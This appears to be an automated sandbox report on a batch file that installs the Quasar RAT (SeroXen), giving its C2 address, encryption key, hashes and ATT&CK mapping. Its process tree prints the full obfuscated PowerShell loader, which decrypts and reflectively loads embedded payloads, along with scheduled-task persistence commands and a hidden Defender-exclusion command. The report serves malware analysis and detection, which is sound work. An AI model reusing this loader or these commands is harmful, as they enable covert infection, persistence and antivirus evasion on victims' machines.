Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28-04-2024 16:14

General

  • Target

    rename me.bat

  • Size

    514KB

  • MD5

    414264bb47935bed191128cf44f3a2cd

  • SHA1

    df49e4f8bc8d388c9b9398f29b0de0e72e79b130

  • SHA256

    a59ef50cd65d900c84024d9da88c4c93c9ae7fba7e2429c41d45081d381ad8ef

  • SHA512

    c15ca12cd576157369574c3a51ece0879ccee3b57614af91d6e99af21e8fdeb46d1680e2692a38d4da6b4ebb63f9e17341d0cc6ac616e6c2ebd36e698e588e66

  • SSDEEP

    12288:40xb2yL+sSyycyuVWTuM+EiWCCPt2EIKgEtoOT9ah:46bTLrSyycy9uM+EipCfhgTOTAh

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

C2

147.185.221.19:33587

Mutex

$Sxr-2rfrZTKITtK0P0zGYG

Attributes
  • encryption_key

    Yr0YpBPNd3kXsl43jZMx

  • install_name

    $sxr-sdinwn.exe

  • log_directory

    $sxr

  • reconnect_delay

    3000

  • startup_key

    $sxr-metsha

  • subdirectory

    sxr

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rename me.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3344
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u1oRCj2FshaYqShJzWoB9MDj3heRxmVxxmXikszKBtg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uZjnBsjcIwRFHmtV5yG+9A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BrvxA=New-Object System.IO.MemoryStream(,$param_var); $VtfzT=New-Object System.IO.MemoryStream; $asXGT=New-Object System.IO.Compression.GZipStream($BrvxA, [IO.Compression.CompressionMode]::Decompress); $asXGT.CopyTo($VtfzT); $asXGT.Dispose(); $BrvxA.Dispose(); $VtfzT.Dispose(); $VtfzT.ToArray();}function execute_function($param_var,$param2_var){ $ulMDb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TvXyl=$ulMDb.EntryPoint; $TvXyl.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\rename me.bat';$lVIfc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\rename me.bat').Split([Environment]::NewLine);foreach ($ZSRPZ in $lVIfc) { if ($ZSRPZ.StartsWith(':: ')) { $Lwvfw=$ZSRPZ.Substring(3); break; }}$payloads_var=[string[]]$Lwvfw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1012
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_454_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_454.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4472
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_454.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4176
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_454.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3096
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u1oRCj2FshaYqShJzWoB9MDj3heRxmVxxmXikszKBtg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uZjnBsjcIwRFHmtV5yG+9A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BrvxA=New-Object System.IO.MemoryStream(,$param_var); $VtfzT=New-Object System.IO.MemoryStream; $asXGT=New-Object System.IO.Compression.GZipStream($BrvxA, [IO.Compression.CompressionMode]::Decompress); $asXGT.CopyTo($VtfzT); $asXGT.Dispose(); $BrvxA.Dispose(); $VtfzT.Dispose(); $VtfzT.ToArray();}function execute_function($param_var,$param2_var){ $ulMDb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TvXyl=$ulMDb.EntryPoint; $TvXyl.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_454.bat';$lVIfc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_454.bat').Split([Environment]::NewLine);foreach ($ZSRPZ in $lVIfc) { if ($ZSRPZ.StartsWith(':: ')) { $Lwvfw=$ZSRPZ.Substring(3); break; }}$payloads_var=[string[]]$Lwvfw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Drops file in Drivers directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4004
            • C:\Windows\SysWOW64\schtasks.exe
              "schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /rl HIGHEST /f
              6⤵
              • Creates scheduled task(s)
              PID:4736
            • C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe
              "C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:3808
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath (Get-Item -LiteralPath $env:SystemRoot).Root"
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1840
            • C:\Windows\SysWOW64\ipconfig.exe
              "C:\Windows\System32\ipconfig.exe" /flushdns
              6⤵
              • Gathers network information
              PID:1936

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Scheduled Task/Job

1
T1053

Command and Scripting Interpreter

1
T1059

Persistence

Scheduled Task/Job

1
T1053

Privilege Escalation

Scheduled Task/Job

1
T1053

Discovery

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    5dc9a9599fb11ee70f9164d8fea15abf

    SHA1

    85faf41a206f3fa8b469609333558cf817df2cda

    SHA256

    3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

    SHA512

    499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    552B

    MD5

    f2beebe547851b37c0a8293e3bd2b95c

    SHA1

    4f5920949efaf43096392779fa5a441d0f5c65fe

    SHA256

    a5894a151f79cb8a20fc52110c99bb76819fb1551b1e3f2d84500f948c0de31c

    SHA512

    f3b03d0448636560e5cb0e4ee338fe3c44837e7200ecd96f83b6fe9e5d0309655a7232a679baa0201776556740b9abe725630ea66578efa9040b0ef075491fe4

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    17KB

    MD5

    18c4be9e64a0d0f245f9859a425914e6

    SHA1

    9e56ddf1e3832e6a623dc0f3735fed4edaed7df1

    SHA256

    302efa39082c62d0a4fc9dcc6b4f32ffa68fdc9a2a74ca87619a0fb8b4e93628

    SHA512

    0725a05aae7572526919a66a2e9057de49af1dc643803005df76f7f35b42262a80fadf41771fbecb6a2951e72e1b891359aa07b70ceb19dd274509d0a2cf2bbc

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vc1nr0rb.jf3.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_454.bat
    Filesize

    514KB

    MD5

    414264bb47935bed191128cf44f3a2cd

    SHA1

    df49e4f8bc8d388c9b9398f29b0de0e72e79b130

    SHA256

    a59ef50cd65d900c84024d9da88c4c93c9ae7fba7e2429c41d45081d381ad8ef

    SHA512

    c15ca12cd576157369574c3a51ece0879ccee3b57614af91d6e99af21e8fdeb46d1680e2692a38d4da6b4ebb63f9e17341d0cc6ac616e6c2ebd36e698e588e66

  • C:\Users\Admin\AppData\Roaming\startup_str_454.vbs
    Filesize

    115B

    MD5

    04ef436a45d9facc49587df0e5360246

    SHA1

    02db5c2e48bc01d20183bc5b3dbb49e46471371b

    SHA256

    e51b4c8060834d2eba5b5eee185a57ac2cc413845887946e1f50fb297e3358be

    SHA512

    b2bfc75c790aa1c908f28c816e2d5faec4c5e4b4f20c35c63d2202b2563e28ce7febf33d07a5e76c9c824547568e11ab9c88f77940e166e8ed5809067dadd976

  • C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe
    Filesize

    411KB

    MD5

    bc4535f575200446e698610c00e1483d

    SHA1

    78d990d776f078517696a2415375ac9ebdf5d49a

    SHA256

    88e1993beb7b2d9c3a9c3a026dc8d0170159afd3e574825c23a34b917ca61122

    SHA512

    a9b4197f86287076a49547c8957c0a33cb5420bf29078b3052dc0b79808e6b5e65c6d09bb30ab6d522c51eb4b25b3fb1e3f3692700509f20818cfcc75b250717

  • memory/1012-23-0x0000000009080000-0x0000000009626000-memory.dmp
    Filesize

    5.6MB

  • memory/1012-7-0x0000000005630000-0x0000000005696000-memory.dmp
    Filesize

    408KB

  • memory/1012-16-0x0000000005D30000-0x0000000006087000-memory.dmp
    Filesize

    3.3MB

  • memory/1012-17-0x00000000061C0000-0x00000000061DE000-memory.dmp
    Filesize

    120KB

  • memory/1012-18-0x0000000006340000-0x000000000638C000-memory.dmp
    Filesize

    304KB

  • memory/1012-19-0x0000000007A00000-0x000000000807A000-memory.dmp
    Filesize

    6.5MB

  • memory/1012-20-0x0000000006790000-0x00000000067AA000-memory.dmp
    Filesize

    104KB

  • memory/1012-21-0x0000000002890000-0x0000000002898000-memory.dmp
    Filesize

    32KB

  • memory/1012-22-0x00000000073E0000-0x0000000007442000-memory.dmp
    Filesize

    392KB

  • memory/1012-4-0x0000000005700000-0x0000000005D2A000-memory.dmp
    Filesize

    6.2MB

  • memory/1012-5-0x0000000005420000-0x0000000005442000-memory.dmp
    Filesize

    136KB

  • memory/1012-1-0x0000000075130000-0x00000000758E1000-memory.dmp
    Filesize

    7.7MB

  • memory/1012-2-0x00000000050C0000-0x00000000050D0000-memory.dmp
    Filesize

    64KB

  • memory/1012-6-0x00000000055C0000-0x0000000005626000-memory.dmp
    Filesize

    408KB

  • memory/1012-3-0x00000000050C0000-0x00000000050D0000-memory.dmp
    Filesize

    64KB

  • memory/1012-77-0x0000000075130000-0x00000000758E1000-memory.dmp
    Filesize

    7.7MB

  • memory/1012-0-0x0000000002E10000-0x0000000002E46000-memory.dmp
    Filesize

    216KB

  • memory/1840-116-0x0000000007E60000-0x0000000007E75000-memory.dmp
    Filesize

    84KB

  • memory/1840-102-0x0000000007870000-0x0000000007892000-memory.dmp
    Filesize

    136KB

  • memory/1840-104-0x0000000071320000-0x000000007136C000-memory.dmp
    Filesize

    304KB

  • memory/1840-113-0x0000000007B20000-0x0000000007BC4000-memory.dmp
    Filesize

    656KB

  • memory/1840-114-0x0000000007E20000-0x0000000007E31000-memory.dmp
    Filesize

    68KB

  • memory/1840-115-0x0000000007E50000-0x0000000007E5E000-memory.dmp
    Filesize

    56KB

  • memory/1840-117-0x0000000007EB0000-0x0000000007ECA000-memory.dmp
    Filesize

    104KB

  • memory/1840-118-0x0000000007E90000-0x0000000007E98000-memory.dmp
    Filesize

    32KB

  • memory/3808-101-0x0000000006E30000-0x0000000006E76000-memory.dmp
    Filesize

    280KB

  • memory/4004-78-0x0000000007D50000-0x0000000007D62000-memory.dmp
    Filesize

    72KB

  • memory/4004-76-0x0000000007C90000-0x0000000007D22000-memory.dmp
    Filesize

    584KB

  • memory/4004-79-0x0000000008010000-0x000000000804C000-memory.dmp
    Filesize

    240KB

  • memory/4004-75-0x0000000007B80000-0x0000000007BEE000-memory.dmp
    Filesize

    440KB

  • memory/4472-50-0x0000000007410000-0x00000000074B4000-memory.dmp
    Filesize

    656KB

  • memory/4472-48-0x0000000002B80000-0x0000000002B90000-memory.dmp
    Filesize

    64KB

  • memory/4472-52-0x0000000007860000-0x00000000078F6000-memory.dmp
    Filesize

    600KB

  • memory/4472-54-0x0000000002B80000-0x0000000002B90000-memory.dmp
    Filesize

    64KB

  • memory/4472-51-0x0000000007650000-0x000000000765A000-memory.dmp
    Filesize

    40KB

  • memory/4472-57-0x0000000075130000-0x00000000758E1000-memory.dmp
    Filesize

    7.7MB

  • memory/4472-49-0x0000000002B80000-0x0000000002B90000-memory.dmp
    Filesize

    64KB

  • memory/4472-53-0x00000000077E0000-0x00000000077F1000-memory.dmp
    Filesize

    68KB

  • memory/4472-47-0x00000000073E0000-0x00000000073FE000-memory.dmp
    Filesize

    120KB

  • memory/4472-38-0x0000000071320000-0x000000007136C000-memory.dmp
    Filesize

    304KB

  • memory/4472-36-0x00000000073A0000-0x00000000073D4000-memory.dmp
    Filesize

    208KB

  • memory/4472-37-0x000000007F200000-0x000000007F210000-memory.dmp
    Filesize

    64KB

  • memory/4472-26-0x0000000002B80000-0x0000000002B90000-memory.dmp
    Filesize

    64KB

  • memory/4472-27-0x0000000002B80000-0x0000000002B90000-memory.dmp
    Filesize

    64KB

  • memory/4472-25-0x0000000075130000-0x00000000758E1000-memory.dmp
    Filesize

    7.7MB